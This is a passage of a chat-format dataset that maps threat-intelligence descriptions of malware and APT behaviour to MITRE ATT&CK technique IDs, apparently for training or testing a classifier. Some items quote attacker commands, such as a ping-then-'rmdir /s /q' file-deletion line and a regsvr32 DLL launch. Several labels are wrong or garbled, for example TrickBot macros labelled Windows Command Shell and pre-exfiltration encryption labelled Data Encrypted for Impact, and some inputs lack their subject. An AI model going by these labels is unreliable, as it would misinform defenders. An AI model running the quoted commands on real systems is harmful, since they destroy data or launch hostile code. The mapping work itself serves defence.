        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actors have regularly leveraged Cobalt Strike BEACON and Metasploit Meterpreter to move laterally within victim environments. The actors commonly moved laterally within victim environments using compromised accounts—both those belonging to regular users and accounts with administrative privileges. In addition to the use of common post-exploitation frameworks, lateral movement has also been achieved using WMIC commands and the Windows RDP and SMB protocols. The actors used the Windows net use command to connect to Windows admin shares to move laterally"
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can be used to identify remote systems within a network."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Milan can delete files via `C:\\Windows\\system32\\cmd.exe /c ping 1.1.1.1 -n 1 -w 3000 > Nul & rmdir /s /q`."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The FireEye FLARE team released a WMI repository-parsing tool that allows investigators to extract embedded data from the WMI repository and identify WMI persistence."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OutSteel can identify running processes on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The code of this module is loaded directly into the exploited application and has several methods of payload execution. One of method uses a very interesting technique of payload execution which is designed mostly to bypass modern anti-malware products. This uses an interesting bug in the Windows DDE component. It is not a secret that anti-malware systems trigger on special system functions that are called in the context of potential vulnerable applications to make a deeper analysis of API calls such as CreateProcess, WinExec or ShellExecute"
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware terminates some processes and services, some examples of which are related to backup software and data related applications. It is likely that it does this as an attempt to debilitate any efforts the victim may take in performing backup and recovery operations after the ransomware attack"
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "StoneDrill has been observed deleting the temporary files once they fulfill their task."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Wizard Spider has used valid credentials for privileged accounts with the goal of accessing domain controllers."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Diavol can enumerate victims' local and external IPs when registering with C2."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LAPSUS$ has gathered detailed information of target employees to enhance their social engineering lures."
            },
            {
                "role": "assistant",
                "content": "T1589 - Gather Victim Identity Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NETWIRE can issue commands using cmd.exe."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gorgon Group malware can download additional files from C2 servers."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Explosive has a function to use the OpenClipboard wrapper."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BlackEnergy has gathered information about network IP configurations using ipconfig.exe and about routing tables using route.exe."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly 2.0 deleted many of its files used during operations as part of cleanup, including removing applications and deleting screenshots."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Honeybee uses a dropper called MaoCheng that harvests a stolen digital signature from Adobe Systems."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In the list of dropped files, VMwareCplLauncher.exe is a legitimate, signed VMware executable that serves to ultimately deliver the BADNEWS payload. The vmtools.dll file is a modified DLL that both ensures persistence and loads MSBuild.exe, which is the BADNEWS malware renamed to spoof a legitimate Microsoft Visual Studio tool. After the files are dropped, the VMwareCplLauncher.exe executable is run, which in turn loads the vmtools.dll DLL file. This DLL file creates a scheduled task named BaiduUpdateTask1, which attempts to run the malicious, spoofed MSBuild.exe every subsequent minute. The technique of having a signed, legitimate, executable load a malicious library is commonly referred to as side-loading, and has been witnessed in a number of campaigns and malware families in the past. The flow of execution from the time the victim opens the malicious Microsoft Word document, to the execution of BADNEWS, may be seen below"
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attackers execute several Base64-encoded PowerShell commands in order to determine if the infected machine’s user is in the admin or domain admin group"
            },
            {
                "role": "assistant",
                "content": "T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using job opportunities as template is the known method used by Lazarus to target its victims. The documents created by this actor are well designed and contain a large icon for a known company such as LockHeed Martin, BAE Systems, Boeing and Northrop Grumman in the template. In this campaign the actor has targeted people that are looking for job opportunities at Lockheed Martin. Targeting the defense industry and specifically Lockheed Martin is a known target for this actor"
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MarkiRAT can masquerade as \"update.exe\" and \"svehost.exe\"; it has also mimicked legitimate Telegram and Chrome files."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After copying itself to a DLL file, a variant of Elise calls the DLL file using rundll32.exe."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TrickBot has used macros in Excel documents to download and deploy the malware on the user’s machine."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "malware IndiaIndia saves information gathered about the victim to a file that is compressed with Zlib, encrypted, and uploaded to a C2 server.  malware RomeoDelta archives specified directories in .zip format, encrypts the .zip file, and uploads it to its C2 server. A  malware sample encrypts data using a simple byte based XOR operation prior to exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used legitimate VPN, RDP, Citrix, or VNC credentials to maintain access to a victim environment."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts', 'T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KeyBoy uses the Dynamic Data Exchange (DDE) protocol to download remote payloads."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BitPaymer can modify the timestamp of an executable so that it can be identified and restored by the decryption tool."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 has granted `company administrator` privileges to a newly created service principal."
            },
            {
                "role": "assistant",
                "content": "T1098.003 - Account Manipulation: Additional Cloud Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group has used mshta.exe to run malicious scripts and download programs."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - Signed Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LookBack side loads its communications module as a DLL into the \"libcurl.dll\" loader."
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AppleSeed can identify the IP of a targeted system."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Note that the heading of the message box is ‘ASKOD’, a reference to the Ukrainian electronic document management system. This initiative is meant to enforce electronic digital signatures through the use of cryptographic keys like the Алмаз-1К (transliterated as ‘Almaz-1K’ or translated to ‘Diamond-1K’) shown below"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Register the RUN key in the registry below, so that the VBS file is executed every time the machine starts"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rover copies files from removable drives to \"C:\\system\"."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Zebrocy is delivered primarily via phishing attacks that contain malicious Microsoft Office documents with macros as well as simple executable file attachments"
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For C0015, the threat actors obtained a variety of tools, including AdFind,  AnyDesk, and Process Hacker."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Leviathan has compromised social media accounts to conduct social engineering attacks."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BoomBox has the ability to execute an LDAP query to enumerate the distinguished name, SAM account name, and display name for all domain users."
            },
            {
                "role": "assistant",
                "content": "T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A  malware sample encodes data with base64."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Targets are sent spear phishing e-mails that lead them to a web site displaying a lure document and are immediately prompted to install a malicious Google Chrome extension. It then redirects the user to install a “Font Manager” extension from the Chrome Web Store, as seen in Figure 2. Figure 2: HTML Source of Phishing Page The malicious extensions, now removed from the Chrome Web Store, contain reviews left by the threat actor using compromised Google+ accounts. It should be noted however, that some users reported deleting the extension immediately because it prevented the Chrome browser from functioning properly. The malicious Chrome extensions declare permissions to run on every URL in the browser, as seen in Figure 3. Loading jQuery.js from an external site makes no sense, since the latest version of extension has a legitimate jQuery.js included in the extension bundle. Figure 4: Given the threat actor’s propensity for password theft, and the fact that the malicious Chrome extensions were situated to read data from every website, it's likely that the intent is to steal browser cookies and passwords. Figure 5: Certificate used to sign MECHANICAL/GREASE While the threat actors did use a few tools to automate intrusions, we also found a ZIP archive of tools that demonstrate their propensity for password theft to propagate. Advise users to be wary of any prompts to install browser extensions, even if they are hosted on an official extension site. They spent significant time and resources doing reconnaissance on their targets, as evidenced by the comments left on the Chrome extension page"
            },
            {
                "role": "assistant",
                "content": "T1176 - Browser Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "modules are written in and executed via ."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For C0011, Transparent Tribe hosted malicious documents on domains registered by the group."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The shellcode loaded by the macro contains an encrypted DLL which is decrypted at runtime and then manually mapped into memory by the shellcode. After mapping the DLL, the shellcode jumps to the entry point of that DLL. The shellcode uses some kind of custom hashing method to resolve the APIs. We used hollows_hunter to dump the DLL and reconstruct the IAT once it is fully mapped into memory"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information', 'T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This module was delivered, like many other tools, in a 7z self-extracting archive. Inside, there was a password-protected RAR archive containing a few files"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Penquin can remove strings from binaries."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Grandoreiro has infected victims via malicious attachments."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers like to use spear-fishing email with password protected RAR attachment to avoid being detected by the email gateway. Decryption password is provided in the mail body and inside the attachment it is a MHTML macro based document with the .doc suffix. Its purpose is to implant Imminent backdoor and gain a foothold into the target network which may make the follow up lateral movement easier to implement"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SILENTTRINITY can load additional files and tools, including Mimikatz."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stuxnet transforms encrypted binary data into an ASCII string in order to use it as a URL parameter value."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PLATINUM has used keyloggers that are also capable of dumping credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The injected payload is known as Cobalt Strike Beacon and can be used to execute commands, inject other processes, elevate current processes or impersonate other processes, and upload and download files. The Get-NetComputer command from PowerView is renamed by the attackers to a random name"
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SHOTPUT has a command to obtain a process listing."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RIPTIDE’s first communication with its C2 server fetches an encryption key, and the RC4 encryption key is used to encrypt all further communication"
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Heyoka Backdoor has the ability to search the compromised host for files."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT39 used secure shell (SSH) to move laterally among their targets."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During C0015, the threat actors downloaded additional tools and files onto a compromised network."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Smoke Loader searches for credentials stored from web browsers."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CHOPSTICK used a proxy server between victims and the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chaes used the \"CreateFileW()\" API function with read permissions to access downloaded payloads."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During C0015, the threat actors limited Rclone's bandwidth setting during exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "obtains the number of removable drives from the victim."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN6 also moved laterally to servers in the environment using RDP and configured them as malware “distribution” servers. Mandiant identified a utility script named kill.bat that was run on systems in the environment. FIN6 automated the deployment of kill.bat and the LockerGoga ransomware using batch script files. FIN6 created a number of BAT files on the malware distribution servers with the naming convention xaa.bat, xab.bat, xac.bat, etc. FIN6 renamed the psexec service name to “mstdc” in order to masquerade as the legitimate Windows executable “msdtc. Domain administrators have complete control over Windows systems in an Active Directory environment"
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects keystrokes from the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BLACKCOFFEE uses Microsoft’s TechNet Web portal to obtain a dead drop resolver containing an encoded tag with the IP address of a command and control server."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HALFBAKED can delete a specified file."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SLOTHFULMEDIA has deleted itself and the 'index.dat' file on a compromised machine to remove recent Internet history from the system."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An APT28 loader Trojan adds the Registry key \"HKCU\\Environment\\UserInitMprLogonScript\" to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1037.001 - Boot or Logon Initialization Scripts: Logon Script (Windows)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pteranodon exfiltrates screenshot files to its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HermeticWizard can use WMI to create a new process on a remote machine via `C:\\windows\\system32\\cmd.exe /c start C:\\windows\\system32\\\\regsvr32.exe /s /iC:\\windows\\<filename>.dll`."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
